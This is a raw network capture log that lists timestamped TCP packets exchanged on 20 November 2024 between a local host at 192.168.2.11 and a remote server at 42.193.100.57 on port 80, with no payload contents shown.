        Nov 20, 2024 09:14:46.991719007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991733074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991745949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991760969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991770029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991770983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991806984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991830111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.995973110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.995987892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996001959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996020079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996033907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996045113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996045113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996057034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996069908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996093988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996140957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996187925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996198893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996210098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996218920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996227026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996231079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996234894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996303082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996459007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996476889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996489048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996500015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996510983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996514082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996521950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996534109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996537924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996546030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996557951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996560097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996573925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996606112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996634007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996645927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996660948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996673107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996697903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996699095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996711969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996722937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996736050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996742010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996766090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996769905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996784925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996792078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996819973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.996937990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996948957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996962070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.996972084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997003078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997003078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997015953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997025013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997035027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997055054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997071028 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997148037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997159004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997169018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997179985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997190952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997194052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997201920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997212887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997222900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997248888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997410059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997421026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997432947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997459888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997486115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997513056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997524023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997534037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997539997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997581005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997720003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997737885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997749090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997760057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997771025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.997776031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997800112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.997814894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209346056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209398031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209553957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209608078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209635973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209646940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209656954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209669113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209678888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209685087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209690094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209719896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209745884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209850073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209861040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209867954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209880114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209892988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209903002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209908009 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209914923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209924936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209937096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.209939957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209964991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.209976912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.210010052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210021019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210031033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210036039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210042000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210051060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.210052013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210077047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210078001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.210107088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210112095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.210123062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.210144997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.210172892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.475820065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.475840092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.475852013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.475886106 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.475930929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.475939989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.475943089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.475955963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.475967884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.475977898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.475991964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476000071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476003885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476020098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476028919 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476032972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476049900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476057053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476146936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476176023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476186991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476197958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476216078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476222038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476233959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476243973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476246119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476254940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476265907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476274014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476275921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476295948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476300955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476308107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476319075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476320982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476349115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476373911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476537943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476550102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476561069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476571083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476581097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476587057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476592064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476603985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476617098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476627111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476630926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476636887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476644039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476655960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476664066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476667881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476675034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476685047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476686954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476696968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476716995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476737022 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.476967096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476979017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476989031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.476999998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477010965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477010965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477021933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477034092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477041006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477067947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477085114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477096081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477102041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477113008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477138996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477145910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477155924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477165937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477166891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477180958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477193117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477195978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477206945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477219105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477225065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477229118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477236032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477241993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477245092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477253914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477258921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477264881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477269888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477272987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477282047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477293015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477303982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477315903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.477318048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477340937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.477365017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478332996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478343964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478354931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478364944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478377104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478388071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478389025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478399038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478409052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478419065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478430986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478441000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478449106 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478451014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478458881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478471994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478487968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478492022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478506088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478516102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478528976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478537083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478542089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478550911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478560925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478568077 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478571892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478583097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478588104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478595018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478605986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478606939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478617907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478625059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478629112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478636026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478646994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478652000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478657007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478662968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478668928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478672981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478677988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478684902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478696108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478704929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478708029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478719950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478727102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478734970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478744984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478745937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478759050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.478773117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.478804111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.479779005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479796886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479809046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479819059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479829073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479831934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.479840994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479852915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.479868889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479880095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479885101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.479892015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479902983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479912996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479923010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479923010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.479938030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.479942083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479962111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479964018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.479974031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479981899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.479985952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.479998112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480007887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480010986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480020046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480031013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480041027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480041981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480051994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480057001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480071068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480078936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480083942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480093956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480098009 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480106115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480115891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480125904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480137110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480137110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480146885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480158091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480176926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480179071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480195045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480298042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480832100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480844021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480854034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480864048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480880976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480881929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480892897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480905056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480907917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480921984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480932951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480942965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480945110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480954885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480966091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480971098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.480978012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480988979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.480998993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481009007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481009007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481029034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481030941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481043100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481049061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481053114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481065035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481065989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481077909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481089115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.481095076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.481098890 CET804970142.193.100.57192.168.2.11
